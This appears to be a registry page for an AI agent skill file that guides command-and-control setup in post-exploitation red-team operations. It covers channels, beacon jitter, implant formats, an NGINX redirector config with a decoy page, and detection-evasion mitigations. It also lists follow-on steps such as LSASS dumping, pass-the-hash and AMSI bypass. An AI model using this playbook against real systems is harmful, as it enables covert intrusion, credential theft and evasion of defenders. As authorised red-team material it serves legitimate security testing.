Framework-agnostic C2 orchestration — listener types, implant modes, redirector architecture, malleable profiles, jitter strategy, OPSEC guidance.
63
75%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.mdC2 infrastructure enables persistent, covert communication between the operator and implants deployed on target systems. Proper C2 setup minimizes detection, ensures operational resilience through redirectors, and provides the foundation for all post-exploitation activity.
C2 servers run as separate containers on
sandbox-net, selectable via docker compose profiles. The Kali sandbox has C2 clients only — servers are never co-located with the attack box.
Framework Container Profile Client in Sandbox Sliver c2-sliverc2-sliver(default in.env)sliver-clientHavoc c2-havocc2-havoc(future)havoc-client(future)Default:
COMPOSE_PROFILES=c2-sliverin.env→docker compose up -dstarts Sliver. Swap: changeCOMPOSE_PROFILESvalue to use a different C2 framework. For framework-specific setup, consult the dedicated skill:c2-sliver,c2-havoc, etc.
| Technique ID | Name | C2 Relevance |
|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | HTTPS-based C2 channels |
| T1071.004 | Application Layer Protocol: DNS | DNS-based C2 channels |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | mTLS, AES-encrypted payloads |
| T1090.002 | Proxy: External Proxy | Redirectors, CDN fronting |
| T1105 | Ingress Tool Transfer | Upload/download via implant |
| T1572 | Protocol Tunneling | DNS tunneling, port forwarding |
| Channel | Port | Stealth | Speed | Use Case |
|---|---|---|---|---|
| HTTPS | 443 | High (blends with web) | Fast | Primary channel |
| DNS | 53 | Very High (rarely blocked) | Slow | Fallback / restricted networks |
| mTLS | Custom | High (mutual auth) | Fast | High-security sessions |
| WireGuard | 51820 | Medium | Fast | Tunneled access, pivoting |
Primary: HTTPS (443) — fast, reliable, blends with web traffic
Fallback: DNS (53) — survives proxy/firewall restrictions
Pivot: mTLS (8888) — internal movement after initial foothold
Tunnel: WireGuard — full network tunnel through implant| Mode | Use Case | OPSEC | Responsiveness |
|---|---|---|---|
| Beacon | Long-term persistence, low-and-slow | High (periodic check-ins) | Low (sleep + jitter delay) |
| Session | Active exploitation, interactive ops | Low (persistent connection) | Immediate |
| Stager | Initial delivery, size-constrained | Medium (small footprint) | Delayed (downloads full implant) |
| Environment | Sleep Interval | Jitter % | Rationale |
|---|---|---|---|
| Initial access | 60-120s | 50-70% | Avoid pattern detection |
| Established foothold | 30-60s | 30-50% | Balance speed and stealth |
| Active operation window | 5-15s | 20-30% | Responsiveness needed |
| Long-term persistence | 300-900s | 60-80% | Blend with noise floor |
| Format | Use Case | Delivery Method |
|---|---|---|
| EXE | Direct execution | Phishing, file share, web exploit |
| Shared Library (DLL/SO) | DLL sideloading, hijacking | Planted in app directory |
| Shellcode | Custom loaders, injection | Process injection, custom dropper |
| Service | Windows service persistence | sc.exe, registry modification |
Target Network Internet Operator
┌──────────┐ ┌────────────────┐ ┌──────────────┐
│ Implant │────→│ Redirector │────→│ Teamserver │
│ │←────│ (NGINX/CDN) │←────│ (C2 Server) │
│ │ │ │ │ │
└──────────┘ │ - URI filter │ └──────────────┘
│ - UA filter │
│ - GeoIP block │
│ - Decoy page │
└────────────────┘# /etc/nginx/sites-available/c2-redirector
server {
listen 443 ssl;
server_name legitimate-looking-domain.com;
ssl_certificate /etc/letsencrypt/live/legitimate-looking-domain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/legitimate-looking-domain.com/privkey.pem;
# Allow only expected C2 URIs
location /api/v2/status {
proxy_pass https://<TEAMSERVER_IP>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# Block all other traffic — return decoy page
location / {
root /var/www/html;
index index.html;
}
}Malleable profiles shape C2 traffic to mimic legitimate application traffic, evading network-based detection. Each framework has its own profile format (Sliver: HTTP C2 JSON, Havoc: YAOTL listener config, Cobalt Strike: malleable C2).
| Indicator | Pattern | OPSEC Mitigation |
|---|---|---|
| Default HTTP headers | Framework-specific header combos | Use custom C2 profiles |
| Default URI patterns | Known C2 URI paths | Configure custom URI paths |
| Beacon interval regularity | Exact N-second intervals with no variance | Always set jitter >= 30% |
| DNS TXT record patterns | Base64-encoded TXT responses > 255 bytes | Fragment data, short polling |
| DNS subdomain length | Unusually long subdomain labels | Reduce payload per query |
| mTLS certificate anomalies | Self-signed certs, unusual CN/SAN | Use legitimate CA-signed certificates |
| JA3/JA3S fingerprints | TLS client hello unique to implant | Process injection into browser |
| Payload staging traffic | Large download immediately after connect | Use stageless payloads |
| Process injection artifacts | Unbacked RWX memory regions | Indirect syscalls, RW→RX |
C2 Active (implant callback confirmed)
│
├──→ Credential Access
│ - hashdump, Mimikatz, Rubeus
│ - Kerberoasting, AS-REP roasting
│ - LSASS dump, SAM extraction
│
├──→ Lateral Movement
│ - PsExec, WMI, WinRM
│ - DCOM, SMB, RDP
│ - Pass-the-Hash, Pass-the-Ticket
│
├──→ Defense Evasion (if detected)
│ - AMSI/ETW bypass
│ - New loader, re-encode payload
│ - Switch C2 channel (HTTPS→DNS)
│
└──→ Persistence (if needed)
- Scheduled tasks, services
- Registry run keys
- DLL hijacking| Tool | Purpose |
|---|---|
| Sliver | Open-source C2 (BishopFox) — c2-sliver skill |
| Havoc | Modern C2 with evasion — c2-havoc skill (future) |
| NGINX | Redirector reverse proxy |
| Certbot | Let's Encrypt SSL certs |
| socat | Simple port redirection/relay |
| Cobalt Strike | Commercial C2 (reference only) |
| Mythic | Modular C2 platform |
post-exploit/c2/
├── implants/ # Generated implant binaries
│ ├── win_beacon.exe
│ ├── lin_https
│ ├── shellcode.bin
│ └── stager.bin
├── profiles/ # Custom C2 profiles
├── certs/ # SSL certificates
├── loot/ # Exfiltrated files
└── c2_operations_log.md # Timestamped operator actionse34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.